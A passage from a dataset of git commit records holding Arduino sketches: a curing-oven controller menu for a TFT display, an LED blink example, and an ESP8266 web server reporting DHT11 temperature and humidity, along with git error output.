authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ics-creative\/160125_arduino_ESP-WROOM-02_v2.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"43066710fa09f195760a54167f7c721bb9d4231e","subject":"Implements menu code and allows UI testing.","message":"Implements menu code and allows UI testing.\n","repos":"psas\/sw-cad-airframe-lv3.0,psas\/lv3.0-airframe,psas\/lv3.0-airframe,psas\/lv3.0-airframe,psas\/lv3.0-airframe,psas\/sw-cad-airframe-lv3.0,psas\/sw-cad-airframe-lv3.0","old_file":"oven-controller\/src\/menu_test\/menu_test.ino","new_file":"oven-controller\/src\/menu_test\/menu_test.ino","new_contents":"\/***************************************************\n This is a sketch to test just the menu for the Portland State\n MME Rocket Manufacturing Capstone curing oven controller. \n\n It is heavily based on the example sketch for the Adafruit 1.8\" \n SPI display. The modifications are by \n Jenner Hanni <jeh.wicker@gmail.com>\n http:\/\/github.com\/psas\/mme-capstone\/\n \n It includes Michael Margolis' Time library that provides a handy\n API for all the time-tracking. Super useful.\n http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n****************************************************\/\n\n\/**************************************************\n Original Adafruit notice:\n\n This is an example sketch for the Adafruit 1.8\" SPI display.\n This library works with the Adafruit 1.8\" TFT Breakout w\/SD card\n ---* http:\/\/www.adafruit.com\/products\/358\n as well as Adafruit raw 1.8\" TFT display\n ---* http:\/\/www.adafruit.com\/products\/618\n \n Check out the links above for our tutorials and wiring diagrams\n These displays use SPI to communicate, 4 or 5 pins are required to\n interface (RST is optional)\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ These are the pins for the shield\n#define sclk 13\n#define mosi 11\n#define cs 10\n#define dc 8\n#define rst 0 \n\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library\n#include <SPI.h>\n#include <Time.h>\n\n#if defined(__SAM3X8E__)\n #undef __FlashStringHelper::F(string_literal)\n #define F(string_literal) string_literal\n#endif\n\n\/\/ Option 1: use any pins but a little slower\nAdafruit_ST7735 tft = Adafruit_ST7735(cs, dc, mosi, sclk, rst);\n\nfloat p = 3.1415926;\n\n#define Neutral 0\n#define Press 1\n#define Up 2\n#define Down 3\n#define Right 4\n#define Left 5\n\n\/\/ this needs to be put into an array of step structs\nstruct stepInfo {\n int rate = 0;\n int temp = 0;\n int secs = 0;\n int elapsed = 0;\n int starttime = 0;\n};\n\nstruct aState {\n int cur;\n int nL;\n int nU;\n int nR;\n int nD;\n int nS;\n};\n\nstepInfo steplist[9];\nint maxStep = 1;\nint curSetStep = 1;\nint curRunStep = 0;\n\n\/\/ flags for running the profile\nint updateStepFlag = 0;\nint reDisplayFlag = 0;\nint doneFlag = 0;\n\naState states[18];\nint curState;\nint prevState;\n\nint curtemp = 32;\nint prevtemp = 32;\n\ntime_t reftime = 0;\ntime_t nowtime = 0;\ntime_t prevmin = 0;\n \nint x = 5;\nint y = 5;\nint num = 1;\nint joy = 0;\n\nint ramprate = 0;\n\nint holdtemp1 = 0;\nint holdtemp2 = 0;\nint holdtemp3 = 0;\n\nint holdtimehour = 0;\nint holdtimemins = 0;\nint holdtimesecs = 0;\n \nvoid setup(void) {\n Serial.begin(9600);\n \n \/\/ Our supplier changed the 1.8\" display slightly after Jan 10, 2012\n \/\/ so that the alignment of the TFT had to be shifted by a few pixels\n \/\/ this just means the init code is slightly different. Check the\n \/\/ color of the tab to see which init code to try. If the display is\n \/\/ cut off or has extra 'random' pixels on the top & left, try the\n \/\/ other option!\n \/\/ If you are seeing red and green color inversion, use Black Tab\n\n \/\/ Our TFT display had a Blue Tab so we use blacktab, don't ask \n \/\/ silly questions like \"why?\", just do it, blacktab is correct:\n tft.initR(INITR_BLACKTAB); \/\/ initialize a ST7735S chip, black tab\n\n tft.fillScreen(ST7735_WHITE);\n tft.setTextColor(ST7735_BLACK);\n tft.setRotation(135);\n tft.setTextWrap(false);\n\n \/\/ set the reference for tracking time in seconds\n reftime = now();\n nowtime = now() - reftime;\n Serial.println(nowtime);\n Serial.println(reftime);\n Serial.println(\"run: \");\n \n delay(500);\n int i = 0;\n \n \/\/ init states array with state structs\n \/\/ {cur,L,U,R,D,S}\n states[0] = {0,0,0,1,2,0};\n states[1] = {1,0,1,1,1,1};\n states[2] = {2,2,0,6,3,2};\n states[3] = {3,3,2,4,5,4};\n states[4] = {4,4,4,4,4,3};\n states[5] = {5,5,3,5,5,0};\n states[6] = {6,6,6,7,8,6};\n states[7] = {7,6,7,7,7,7};\n states[8] = {8,8,6,9,10,8};\n states[9] = {9,8,9,9,9,9};\n states[10] = {10,10,8,11,14,10};\n states[11] = {11,10,11,12,11,11};\n states[12] = {12,11,12,13,12,12};\n states[13] = {13,12,13,13,13,13};\n states[14] = {14,14,10,15,17,13};\n states[15] = {15,14,15,16,15,15};\n states[16] = {16,15,16,16,16,16};\n states[17] = {17,17,14,17,17,2};\n\n curState = 0;\n redrawMenu(0);\n displayMenu(curState);\n}\n\nvoid loop() {\n \n \/\/ check joystick\n int joy = CheckJoystick();\n\n \/\/ handle joystick movement \n if (joy != 0) {\n prevState = curState;\n curState = handleJoystick(joy);\n\n displayMenu(curState);\n delay(100);\n }\n\n if (curState == 4) {\n displayMenu(curState);\n }\n\n}\n\n\/\/ Check the joystick position\nint CheckJoystick()\n{\n int joystickState = analogRead(3);\n \n if (joystickState < 50) return Left;\n if (joystickState < 150) return Down;\n if (joystickState < 250) return Press;\n if (joystickState < 500) return Right;\n if (joystickState < 650) return Up;\n return Neutral;\n}\n\n\/\/ get the data out of the selected step in the array\n\/\/ so we can display the data for that step on the screen\nvoid getStep(int i) {\n ramprate = steplist[i].rate;\n holdtemp1 = (steplist[i].temp\/100) % 100;\n holdtemp2 = (steplist[i].temp\/10) % 10;\n holdtemp3 = steplist[i].temp % 10;\n holdtimesecs = steplist[i].secs;\n holdtimehour = (holdtimesecs\/3600) % 3600;\n holdtimemins = (holdtimesecs\/60) % 60;\n}\n\n\/\/ store the values of the selected step in the array\nvoid setStep(int i) {\n steplist[i].rate = ramprate;\n steplist[i].temp = holdtemp1*100 + holdtemp2*10 + holdtemp3;\n steplist[i].secs = holdtimehour*3600 + holdtimemins*60;\n}\n\nint handleJoystick(int joy) {\n switch (joy) {\n case Left:\n if (curState == 9 || curState == 11 || curState == 15)\n setStep(curSetStep);\n return states[curState].nL;\n break;\n case Right:\n return states[curState].nR;\n break;\n case Up:\n switch(states[curState].nU) {\n case 1:\n if (maxStep > 0 && maxStep < 9) {\n maxStep++;\n updateNum(130,20,12,10,maxStep);\n }\n break;\n case 7:\n if (curSetStep < maxStep) {\n curSetStep++;\n getStep(curSetStep);\n redrawMenu(1);\n }\n break;\n case 9:\n if (ramprate < 9) {\n ramprate++;\n updateNum(77,35,12,10,ramprate);\n }\n break;\n case 11:\n if (holdtemp1 < 9) {\n holdtemp1++;\n updateNum(77,50,5,10,holdtemp1);\n }\n break;\n case 12:\n if (holdtemp2 < 9) {\n holdtemp2++;\n updateNum(83,50,5,10,holdtemp2);\n }\n break;\n case 13:\n if (holdtemp3 < 9) {\n holdtemp3++;\n updateNum(89,50,5,10,holdtemp3);\n }\n break;\n case 15:\n if (holdtimehour < 9) {\n holdtimehour++;\n updateNum(77,65,5,10,holdtimehour);\n }\n break;\n case 16:\n if (holdtimemins < 59) {\n holdtimemins++;\n updateNum(95,65,40,10,holdtimemins);\n } \n break;\n }\n return states[curState].nU;\n break;\n\n case Down:\n switch(states[curState].nD) {\n case 1:\n if (maxStep > 1 && maxStep < 10) {\n maxStep--;\n updateNum(130,20,12,10,maxStep);\n }\n break;\n case 7:\n if (curSetStep > 1) {\n curSetStep--;\n getStep(curSetStep);\n redrawMenu(1);\n }\n break;\n case 9:\n if (ramprate > 1) {\n ramprate--;\n updateNum(77,35,12,10,ramprate);\n }\n break;\n case 11:\n if (holdtemp1 > 0) {\n holdtemp1--;\n updateNum(77,50,5,10,holdtemp1);\n }\n break;\n case 12:\n if (holdtemp2 > 0) {\n holdtemp2--;\n updateNum(83,50,5,10,holdtemp2);\n }\n break;\n case 13:\n if (holdtemp3 > 0) {\n holdtemp3--;\n updateNum(89,50,5,10,holdtemp3);\n }\n break;\n case 15:\n if (holdtimehour > 0) {\n holdtimehour--;\n updateNum(77,65,5,10,holdtimehour);\n }\n break;\n case 16:\n if (holdtimemins > 0) {\n holdtimemins--;\n updateNum(95,65,40,10,holdtimemins);\n } \n break;\n }\n return states[curState].nD;\n break;\n \n case Press:\n if (curState == 17)\n setStep(curSetStep);\n return states[curState].nS;\n break;\n \n }\n delay(100);\n}\n\n\/\/ combined menu that updates previous states for highlighting\nvoid displayMenu(int i){\n tft.setTextColor(ST7735_RED);\n switch(i) {\n case 0: \/\/ main menu: maxStep\n if (prevState == 1) {\n tft.setCursor(130,20);\n tft.setTextColor(ST7735_BLACK);\n tft.print(maxStep);\n }\n else if (prevState == 2) {\n tft.setCursor(5,35);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Define Temp Profile\");\n }\n else if (prevState == 5) {\n maxStep = 1;\n curRunStep = 0;\n redrawMenu(0); \n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,20);\n tft.print(\"*Number of steps: \");\n break;\n case 1: \/\/ main menu: set steps\n if (prevState == 0) {\n tft.setTextColor(ST7735_BLACK);\n tft.fillRect(5,20,100,10,ST7735_WHITE);\n tft.setCursor(5,20);\n tft.print(\"*Number of steps: \");\n }\n tft.setCursor(130,20);\n tft.setTextColor(ST7735_RED);\n tft.print(maxStep);\n break;\n case 2: \/\/ main menu: temp profile\n if (prevState == 0) {\n tft.setTextColor(ST7735_BLACK);\n tft.fillRect(5,20,100,10,ST7735_WHITE);\n tft.setCursor(5,20);\n tft.print(\"*Number of steps: \");\n }\n else if (prevState == 3) {\n tft.setTextColor(ST7735_BLACK);\n tft.fillRect(5,50,100,10,ST7735_WHITE);\n tft.setCursor(5,50);\n tft.print(\"*Run Temp Profile\");\n }\n else if (prevState == 17) {\n redrawMenu(0);\n }\n tft.setCursor(5,35);\n tft.setTextColor(ST7735_RED);\n tft.print(\"*Define Temp Profile\");\n break;\n case 3: \/\/ main menu: run profile\n if (prevState == 2) {\n tft.setTextColor(ST7735_BLACK);\n tft.fillRect(5,35,100,10,ST7735_WHITE);\n tft.setCursor(5,35);\n tft.print(\"*Define Temp Profile\"); \n }\n else if (prevState == 4) {\n redrawMenu(0);\n doneFlag = 0;\n \n }\n else if (prevState == 5) {\n tft.setTextColor(ST7735_BLACK);\n tft.fillRect(5,65,100,10,ST7735_WHITE);\n tft.setCursor(5,65);\n tft.print(\"*Reset Profile\");\n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,50);\n tft.print(\"*Run Temp Profile\");\n break;\n \/\/ case 4 handles all running of the program\n \/\/ - tracks time in seconds \n \/\/ - reads the thermocouples\n \/\/ - controls the relays on\/off as necessary\n \/\/ - displays all this data on the run screen\n \/\/ but it does all this inside displayRunScreen()\n case 4: \/\/ main menu: running screen\n if (prevState == 3) {\n updateStepFlag = 1;\n reDisplayFlag = 1;\n curRunStep = 1;\n }\n Serial.println(\"hello.\");\n if (doneFlag == 1) {\n doneFlag = 1;\n }\n else {\n int rtn = displayRunScreen();\n if (rtn == -1) {\n Serial.println(\"Your program is complete.\");\n tft.fillScreen(ST7735_WHITE); \n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5, 5);\n tft.println(\"Your program is complete.\"); \n tft.setTextColor(ST7735_RED);\n tft.setCursor(5, 20);\n tft.println(\"*Press button to go back.\"); \n doneFlag = 1;\n }\n }\n prevState = curState;\n break;\n case 5: \/\/ main menu: reset profile\n if (prevState == 3) {\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,50);\n tft.print(\"*Run Temp Profile\");\n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,65);\n tft.print(\"*Reset Profile\");\n break;\n case 6: \/\/ temp profile: which step\n if (prevState == 2) {\n redrawMenu(1);\n }\n else if (prevState == 8) {\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,35);\n tft.print(\"*Ramp Rate: \"); \n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,20);\n tft.print(\"*Step: \");\n tft.setCursor(50,20);\n tft.setTextColor(ST7735_BLACK);\n tft.print(curSetStep);\n break;\n case 7: \/\/ temp profile: set step\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,20);\n tft.print(\"*Step: \"); \n tft.setTextColor(ST7735_RED);\n tft.setCursor(50,20);\n tft.print(curSetStep);\n break;\n case 8: \/\/ temp profile: ramp rate\n if (prevState == 6) {\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,20);\n tft.print(\"*Step: \");\n }\n else if (prevState == 9) {\n tft.setCursor(5,35);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Ramp Rate: \"); \n tft.print(ramprate);\n }\n else if (prevState == 10) {\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,50);\n tft.print(\"*Hold Temp: \");\n tft.print(holdtemp1);\n tft.print(holdtemp2);\n tft.print(holdtemp3);\n tft.print(\" F\");\n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,35);\n tft.print(\"*Ramp Rate: \"); \n break;\n case 9: \/\/ temp profile: set rate\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,35);\n tft.print(\"*Ramp Rate: \"); \n tft.setTextColor(ST7735_RED);\n tft.print(ramprate);\n break;\n case 10: \/\/ temp profile: hold temp\n if (prevState == 8) {\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5,35);\n tft.print(\"*Ramp Rate: \");\n tft.print(ramprate);\n }\n else if (prevState == 14) {\n tft.setCursor(5,65);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Time: \");\n tft.print(holdtimehour);\n tft.print(\"h \");\n tft.print(holdtimemins);\n tft.print(\"m\");\n }\n tft.setCursor(5,50);\n tft.setTextColor(ST7735_RED);\n tft.print(\"*Hold Temp: \");\n tft.setTextColor(ST7735_BLACK);\n tft.print(holdtemp1);\n tft.print(holdtemp2);\n tft.print(holdtemp3);\n tft.print(\" F\");\n break;\n case 11: \/\/ temp profile: set temp1\n tft.setCursor(5,50);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Temp: \");\n tft.setTextColor(ST7735_RED);\n tft.print(holdtemp1);\n tft.setTextColor(ST7735_BLACK);\n tft.print(holdtemp2);\n tft.print(holdtemp3);\n tft.print(\" F\");\n break;\n case 12: \/\/ temp profile: set temp2\n tft.setCursor(5,50);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Temp: \");\n tft.print(holdtemp1);\n tft.setTextColor(ST7735_RED);\n tft.print(holdtemp2);\n tft.setTextColor(ST7735_BLACK);\n tft.print(holdtemp3);\n tft.print(\" F\");\n break;\n case 13: \/\/ temp profile: set temp3\n tft.setCursor(5,50);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Temp: \");\n tft.print(holdtemp1);\n tft.print(holdtemp2);\n tft.setTextColor(ST7735_RED);\n tft.print(holdtemp3);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\" F\");\n break;\n case 14: \/\/ temp profile: hold time\n if (prevState == 10) {\n tft.setCursor(5,50);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Temp: \");\n tft.print(holdtemp1);\n tft.print(holdtemp2);\n tft.print(holdtemp3);\n tft.print(\" F\");\n }\n else if (prevState == 17) {\n tft.setCursor(5,80);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Back to Main Menu\");\n }\n else if (prevState == 15) {\n }\n tft.setCursor(5,65);\n tft.setTextColor(ST7735_RED);\n tft.print(\"*Hold Time: \");\n tft.setTextColor(ST7735_BLACK);\n tft.print(holdtimehour);\n tft.print(\"h \");\n tft.print(holdtimemins);\n tft.print(\"m\");\n break;\n case 15: \/\/ temp profile: set time (h)\n tft.setCursor(5,65);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Time: \");\n tft.setTextColor(ST7735_RED);\n tft.print(holdtimehour);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"h \");\n tft.print(holdtimemins);\n tft.print(\"m\");\n break;\n case 16: \/\/ temp profile: set time (m)\n tft.setCursor(5,65);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Time: \");\n tft.print(holdtimehour);\n tft.print(\"h \");\n tft.setTextColor(ST7735_RED);\n tft.print(holdtimemins);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"m\");\n break;\n case 17: \/\/ temp profile: back to main menu\n if (prevState == 14) {\n tft.setCursor(5,65);\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"*Hold Time: \");\n tft.print(holdtimehour);\n tft.print(\"h \");\n tft.print(holdtimemins);\n tft.print(\"m\");\n }\n tft.setTextColor(ST7735_RED);\n tft.setCursor(5,80);\n tft.print(\"*Back to Main Menu\");\n break;\n }\n \n}\n\n\/\/ redraw the entire main or temp profile menus\nvoid redrawMenu(char which) {\n if (which == 0) { \/\/ main menu\n tft.fillScreen(ST7735_WHITE); \n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5, 5);\n tft.println(\"Main Menu\");\n tft.drawFastHLine(0,16,tft.width(),ST7735_BLACK);\n tft.setCursor(5,20);\n tft.print(\"*Number of steps: \");\n tft.setCursor(130,20);\n tft.print(maxStep);\n tft.setCursor(5,35);\n tft.print(\"*Define Temp Profile\");\n tft.setCursor(5,50);\n tft.print(\"*Run Temp Profile\");\n tft.setCursor(5,65);\n tft.print(\"*Reset Profile\"); \n }\n else if (which == 1) { \/\/ temp profile menu\n tft.fillScreen(ST7735_WHITE);\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5, 5);\n tft.println(\"Set Temp Profile\");\n tft.drawFastHLine(0,16,tft.width(),ST7735_BLACK);\n tft.setCursor(5,20);\n tft.print(\"*Step: \");\n tft.setCursor(50,20);\n tft.print(curSetStep);\n tft.setCursor(5,35);\n tft.print(\"*Ramp Rate: \");\n tft.print(ramprate);\n tft.print(\" F\/sec\");\n tft.setCursor(5,50);\n tft.print(\"*Hold Temp: \");\n tft.print(holdtemp1);\n tft.print(holdtemp2);\n tft.print(holdtemp3);\n tft.print(\" F\");\n tft.setCursor(5,65);\n tft.print(\"*Hold Time: \");\n tft.print(holdtimehour);\n tft.print(\"h \");\n tft.print(holdtimemins);\n tft.print(\"m\");\n tft.setCursor(5,80);\n tft.print(\"*Back to Main Menu\");\n }\n else return;\n}\n\n\/\/ display run screen with status info\nint displayRunScreen() {\n\n \/\/ update temp; don't handle, just update\n \n \/\/ update number of seconds since startup\n \/\/ don't handle, just update\n nowtime = now() - reftime;\n\n \/\/ this is the first time into a new step\n \/\/ set the start time of the step\n \/\/ and turn off the flag\n if (updateStepFlag == 1) {\n prevmin = 0;\n steplist[curRunStep].starttime = nowtime;\n updateStepFlag = 0;\n }\n \n \/\/ in any case, update the step's elapsed time\n steplist[curRunStep].elapsed = nowtime - steplist[curRunStep].starttime;\n\n \/\/ explicitly tell the function to redraw the screen\n if (reDisplayFlag == 1) {\n reDisplayFlag = 0;\n\n \/\/ redraw the run screen \n tft.fillScreen(ST7735_WHITE);\n tft.setTextColor(ST7735_BLACK);\n tft.setCursor(5, 5);\n tft.println(\"Temp Profile Running\");\n tft.drawFastHLine(0,16,tft.width(),ST7735_BLACK);\n tft.setCursor(5,20);\n tft.print(\"Status: \");\n tft.print(\"ramp or hold\");\n tft.setCursor(5,35);\n tft.print(\"Current Step: \"); \n tft.print(curRunStep);\n tft.print(\" of \");\n tft.print(maxStep);\n tft.setCursor(5,50);\n tft.print(\"Current Temp: \");\n tft.print(curtemp);\n tft.setCursor(5,65);\n tft.print(\"Step Time: \");\n tft.print(hour(steplist[curRunStep].elapsed));\n tft.print(\"h \");\n tft.print(minute(steplist[curRunStep].elapsed));\n tft.print(\"m elapsed of \");\n tft.print(hour(steplist[curRunStep].secs));\n tft.print(\"h \");\n tft.print(minute(steplist[curRunStep].secs));\n tft.print(\"m\");\n tft.setCursor(5,80);\n tft.print(\"Total Time Left: 4h 35m\");\n tft.setCursor(5,95);\n tft.setTextColor(ST7735_RED);\n tft.print(\"*Press Button to Cancel\");\n }\n \n \/\/ handle the temperature\n \/\/ control the relays as appropriate\n \/\/if (curtemp < steplist[curRunStep].temp) {\n \/\/ digitalWrite(heater1, HIGH); \/\/ turn on the heaters\n \/\/ delay(100);\n \/\/}\n\n \/\/ if the temp has incremented, redraw the run screen\n if (curtemp != prevtemp) { \n reDisplayFlag = 1;\n prevtemp = curtemp; \n Serial.println(\"End of a step for temp change.\");\n }\n\n \n \/\/ handle the time\n \/\/ see if we've reached the end of a step\n if (steplist[curRunStep].elapsed > steplist[curRunStep].secs) {\n if (curRunStep < maxStep) { \n curRunStep++;\n updateStepFlag = 1;\n reDisplayFlag = 1;\n Serial.println(\"End of a step for time.\");\n }\n else \n return -1;\n }\n \/\/ if the minute has incremented, redraw the run screen\n if (minute(steplist[curRunStep].elapsed) > prevmin) {\n prevmin = steplist[curRunStep].elapsed;\n reDisplayFlag = 1;\n Serial.println(\"Minute incremented, redraw run screen.\");\n }\n\n}\n\nvoid updateNum(int x, int y, int w, int h, int num) {\n tft.fillRect(x,y,w,h,ST7735_WHITE);\n tft.setCursor(x,y);\n tft.setTextColor(ST7735_RED);\n tft.print(num);\n if (curState == 16) {\n tft.setTextColor(ST7735_BLACK);\n tft.print(\"m\");\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'oven-controller\/src\/menu_test\/menu_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"1272b6162d8b450581d1bec5e08af4bb88063b3e","subject":"blink","message":"blink\n","repos":"maly\/edushield,arduino-edushield\/edushield,arduino-edushield\/edushield,maly\/edushield","old_file":"examples\/blink\/blink.ino","new_file":"examples\/blink\/blink.ino","new_contents":"int LED = 13;\n\nvoid setup() {\n \/\/ Tento kod se vykona jen jednou\n pinMode(LED,OUTPUT);\n}\n\nvoid loop() {\n \/\/ Tento kod se vykonava stale dokola\n digitalWrite(LED,LOW);\n delay(500);\n digitalWrite(LED, HIGH);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90646c217908df95fb67d3473f07775d1eff8567","subject":"How to teach young people to program? How I pretend to program? # kidsSerie-06","message":"How to teach young people to program? How I pretend to program? # kidsSerie-06\n\nHow to teach young people to program? How I pretend to program? # kidsSerie-06","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_06_kidSerie_sketch_unique_Adafruit_IO_FakeToReal_Feeds.ino","new_file":"_06_kidSerie_sketch_unique_Adafruit_IO_FakeToReal_Feeds.ino","new_contents":"\/*\n Project name:\n 06 #kidSerie - Go code? Explainning My Approach As Hobbyist!!!\n (code by Mick Barela from Adafruit Industries)\n Flavour I - IV\n Hex File: _06_kidSerie_sketch_unique_Adafruit_IO_FakeToReal_Feeds.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n Description:\n How to teach young people to program? I often do not write codes from scratch. I accomplish tasks taking\n pieces of code from excellent programmers and I'll assemble the puzzle pieces up the road to success.\n This is my approach how I pretend to be a programmer...This journey will help us to understand how to send\n temperature and humidity data to the Adafruit-IO Broker through the MQTT protocol using ESP8266 module.\n It's quite a task, right?\n How-to-use-it: Go to this link and click the history button to understand step-by-step. Thank you so much!! \n https:\/\/github.com\/giljr\/kidSeries\/blob\/master\/_06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino\n \n \n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/cwYix_Oyui4\n Based on: Mick Barela for Adafruit Industries - see below!\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/* DHTServer - ESP8266 Webserver with a DHT sensor as an input\n Based on ESP8266Webserver, DHTexample, and BlinkWithoutDelay (thank you)\n Version 1.0 5\/3\/2014 Version 1.0 Mike Barela \/ Tony DiCola from Adafruit.\n*\/\n\/******************************* Esp8266**************************************\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\/******************************* DHT Config **********************************\/\n#include <DHT.h>\n#define DHTTYPE DHT11\n#define DHTPIN 2\n\n\/************************* WiFi Access Point *********************************\/\n\nconst char* ssid = \"YourRouterSSID\";\nconst char* password = \"YourRouterPassword\";\n\nESP8266WebServer server(80);\n\n\/*************************** DHT Init **************************************\/\n\/\/ Initialize DHT sensor\n\/\/ NOTE: For working with a faster than ATmega328p 16 MHz Arduino chip, like an ESP8266,\n\/\/ you need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ This is for the ESP8266 processor on ESP-01\nDHT dht(DHTPIN, DHTTYPE, 15); \/\/ 15 works fine for ESP8266\n\/*************************** DHT Data **************************************\/\n\/\/float humidity, temp_f; \/\/ Values read from sensor F\u00ba\nfloat humidity, temp_c; \/\/ Values read from sensor as Celsius\nString webString = \"\"; \/\/ String to display\n\/*************************** DHT Timing ************************************\/\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ will store last temp was read\nconst long interval = 2000; \/\/ interval at which to read sensor\n\nvoid handle_root() {\n server.send(200, \"text\/plain\", \"Hello from the weather esp8266, read from \/temp or \/humidity\");\n delay(100);\n}\n\n\/****************************** Setup ***************************************\/\nvoid setup(void)\n{\n \/\/ You can open the Arduino IDE Serial Monitor window to see what the code is doing\n Serial.begin(115200); \/\/ Serial connection from ESP-01 via 3.3v console cable\n dht.begin(); \/\/ initialize temperature sensor\n\n \/\/ Connect to WiFi network\n WiFi.begin(ssid, password);\n Serial.print(\"\\n\\r \\n\\rWorking to connect\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"DHT Weather Reading Server\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n server.on(\"\/\", handle_root);\n\n server.on(\"\/temp\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n \/\/webString=\"Temperature: \"+String((int)temp_f)+\" F\"; \/\/ Arduino has a hard time with float to string\n webString = \"Temperature: \" + String((int)temp_c) + \" C\"; \/\/ Arduino has a hard time with float to string\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.on(\"\/humidity\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n webString = \"Humidity: \" + String((int)humidity) + \"%\";\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\/****************************** Loop ***************************************\/\nvoid loop(void)\n{\n server.handleClient();\n}\n\n\/****************************** Get Data From DHTxx ************************\/\nvoid gettemperature() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ if the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor\n \/\/ Works better than delay for things happening elsewhere also\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature for humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity (percent)\n \/\/temp_f = dht.readTemperature(true); \/\/ Read temperature as Fahrenheit\n temp_c = dht.readTemperature(); \/\/ Read temperature as Celsius\n \/\/ Check if any reads failed and exit early (to try again).\n \/\/if (isnan(humidity) || isnan(temp_f)) {\n if (isnan(humidity) || isnan(temp_c)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_06_kidSerie_sketch_unique_Adafruit_IO_FakeToReal_Feeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c9ca1fbb824af1b74a830f268793fd3e6f0530c9","subject":"add arduino program","message":"add arduino program\n","repos":"bloc11\/authsys-common,bloc11\/authsys-common","old_file":"misc\/mfrc522.ino","new_file":"misc\/mfrc522.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 